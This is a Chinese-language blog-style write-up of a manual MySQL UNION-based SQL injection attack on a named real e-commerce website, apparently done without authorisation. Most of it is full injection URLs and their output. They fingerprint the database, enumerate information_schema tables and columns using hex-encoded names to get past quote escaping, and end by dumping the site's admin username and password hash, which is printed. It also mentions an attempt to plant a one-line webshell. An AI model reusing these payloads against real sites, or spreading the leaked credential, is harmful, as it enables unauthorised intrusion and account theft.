MySQl注入笔记
目标站点:http://www.babydaily.com.hk/
注入点:http://www.babydaily.com.hk/newsDetail.php?id=53
首先,获得信息,加一个单引号提交http://www.babydaily.com.hk/newsDetail.php?id=53’返回如下信息,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
从这个错误信息可以判断2点,第一,使用的是MySQL数据库,第二,magic_quotes_gpc设置为on或者使用了addslashes()函数,使得单引号被转换为\'.但前者的可能性较大。继续,这里要查看一下数据库版本,这个很重要,后面会解释,提交http://www.babydaily.com.hk/newsDetail.php?id=53%20and%201=2%20union%20select%20@@version,返回如下错误:
The used SELECT statements have a different number of columns
看来是select的列数不匹配,这个用order by来解决,提交http://www.babydaily.com.hk/newsDetail.php?id=53%20order%20by%2019返回正常,提交http://www.babydaily.com.hk/newsDetail.php?id=53%20order%20by%2020返回
Unknown column '20' in 'order clause',既然列数是19,继续提交http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19返回有2,14,6几个字符(这里我把id改成了-1,省去写and 1=2),把14改成(select @@version)提交
http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,(select%20@@version),15,16,17,18,19,返回 5.0.67-community 版本知道了,看看数据库名,把@@version换成database()提交,返回babydaily_dhost,同样,获得当前数据库连接用户名 babydaily_dhost@localhost,查看MySQL用户名,提交http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20all%20select%201,(select%20user%20from%20mysql.user),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19返回
SELECT command denied to user 'babydaily_dhost'@'localhost' for table 'user',命令被拒绝执行,看来权限不够,如果不是administrator权限,数据库的表名是无法查看的,但是从5.0版本之后,mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的,这也就是之前为什么要查看数据库版本的原因了,利用这个结构,可以查看数据库一些详细的信息,比如,查看一下当前用户的权限,提交http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20all%20select%201,grantee,3,4,5,privilege_type,7,8,9,10,11,12,13,is_grantable,15,16,17,18,19%20from%20information_schema.user_privileges
返回:'babydaily_dhost'@'localhost'
NO
USAGE
可以看到权限是相当的小,这样,loadfile()函数也没法用,本来想select 一句话 into dumpfile(这里也可以换成outfile,但是outfile出来的文件查看的话会包含一些特殊字符,或者省略一些字符),但是弄了几次,总是出现语法错误,还是老老实实的select用户名和密码吧,但是目前表名,字段一个都不知道,幸好有这个information_schema结构,这里简单介绍下这个结构:
+—————————————+
| Tables_in_information_schema |
+—————————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+—————————————+
这里只挑注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名,
好了,静下心来,慢慢的遍历数据库的表名,经过n多小时的注入,终于猜完了数据库的表明,这里给出史上最长的注入语句:
http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20all%20select%
201,table_name,3,4,5,table_schema,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%
20information_schema.tables%20where%20table_schema=database()%20and%20table_name%20!=%
//这里限定了只查看当前database有关的数据
200x63617465%20and%20table_name%20!=%200x636F6C6F72%20and%20table_name%20!=%
200x636F75706F6E%20and%20table_name%20!=%200x63757272656E6379%20and%20table_name%20!=%
200x64657369676E5F696E646578%20and%20table_name%20!=%200x656D61696C5F636F6E74656E74%
20and%20table_name%20!=%200x666F6F746572%20and%20table_name%20!=%200x6D656D626572%20and%
20table_name%20!=%200x6E657773%20and%20table_name%20!=%200x70616765%20and%20table_name%
20!=%200x706167655F6D616E616765%20and%20table_name%20!=%200x7061795F6D616E616765%20and%
20table_name%20!=%200x706F696E7473%20and%20table_name%20!=%200x70726F64756374%20and%
20table_name%20!=%200x70726F647563745F636F6C6F72%20and%20table_name%20!=%
200x70726F647563745F6F72646572%20and%20table_name%20!=%
200x70726F647563745F6F726465725F6974656D%20and%20table_name%20!=%
200x70726F647563745F6F726465725F737461747573%20and%20table_name%20!=%
200x70726F647563745F70686F746F%20and%20table_name%20!=%200x636173685F706F696E7473%20and%
20table_name%20!=%200x70726F647563745F70686F746F62616E6E6572%20and%20table_name%20!=%
200x70726F647563745F73697A65%20and%20table_name%20!=%200x70726F647563745F766964656F%
20and%20table_name%20!=%200x7365745F73746F636B%20and%20table_name%20!=%
200x7368697070696E675F64657374696E6174696F6E%20and%20table_name%20!=%
200x7368697070696E675F64657374696E6174696F6E5F70726F66696C65%20and%20table_name%20!=%
200x7368697070696E675F666565%20and%20table_name%20!=%
200x7368697070696E675F6665655F64657461696C%20and%20table_name%20!=%
200x7368697070696E675F6D6574686F64%20and%20table_name%20!=%
200x73686F7070696E675F656D61696C%20and%20table_name%20!=%200x75736572
由于程序将单引号转义为\',这里只能转换成16进制,也可以用ASCII,但是换成char语句太长了,个人选择,
这里面每一个16进制数代表一个table_name,每列出一个,增加一个 where != 语句,继续爆下一个,最后得到的全部表名是
table_name
{CHARACTER_SETS,COLLATIONS,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,
PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,
TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,cash_points,cate,color,coupon,currency,
design_index,email_content,footer,member,news,page,page_manage,pay_manage,points,product,
product_color,product_order,product_order_item,product_order_status,product_photo,product_photobanner,
product_size,product_video,set_stock,shipping_destination,shipping_destination_profile,shipping_fee,ship
ping_fee_detail,shipping_method,shopping_email,user}
这里也许你会说没必要得到全部的表名,只要得到管理员的表就行啊,为什么不用limit语句呢,原理上是可以的,但是limit语句在某些情况下会被限制,不通用,看了下那一堆的table_name,看来管理员的账号和密码只能在user里了,那继续来遍历user表,还是采用老办法,语句集合:
http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20all%20select%201,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.columns%20where%20table_name%20=%200x75736572%20and%20column_name%20!=%200x6964%20and%20column_name%20!=%200x73636F7265%20and%20column_name%20!=%200x646973706C6179%20and%20column_name%20!=%200x6E616D65%20and%20column_name%20!=%200x70617373776F7264
同理,每个16进制数代表一个字段,最后得到的全部字段集合
schema_column{id,score,display,name,password}
好了,现在好办了,直接爆账号和密码,提交:http://www.babydaily.com.hk/newsDetail.php?id=-1%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,(select%20concat(name,char(58),password)%20from%20user),15,16,17,18,19%20from%20user
返回 babydaily:7960e55c9a63f19d1ba3760bd0876e41
哈哈,终于搞到了,密码也可以破解,但是楞是没找到后台,心碎了。放弃吧。
后记:本次测试耗时近2天时间,损坏键盘一个,但是学到了许多Mysql数据库方面的知识,目前网上关于Mysql注入的文章不多,还有本次检测实在是运气不好,一,magic_quotes_gpc为on,单引号被屏蔽,二,权限相当的小,loadfile函数不能用,花了不少功夫。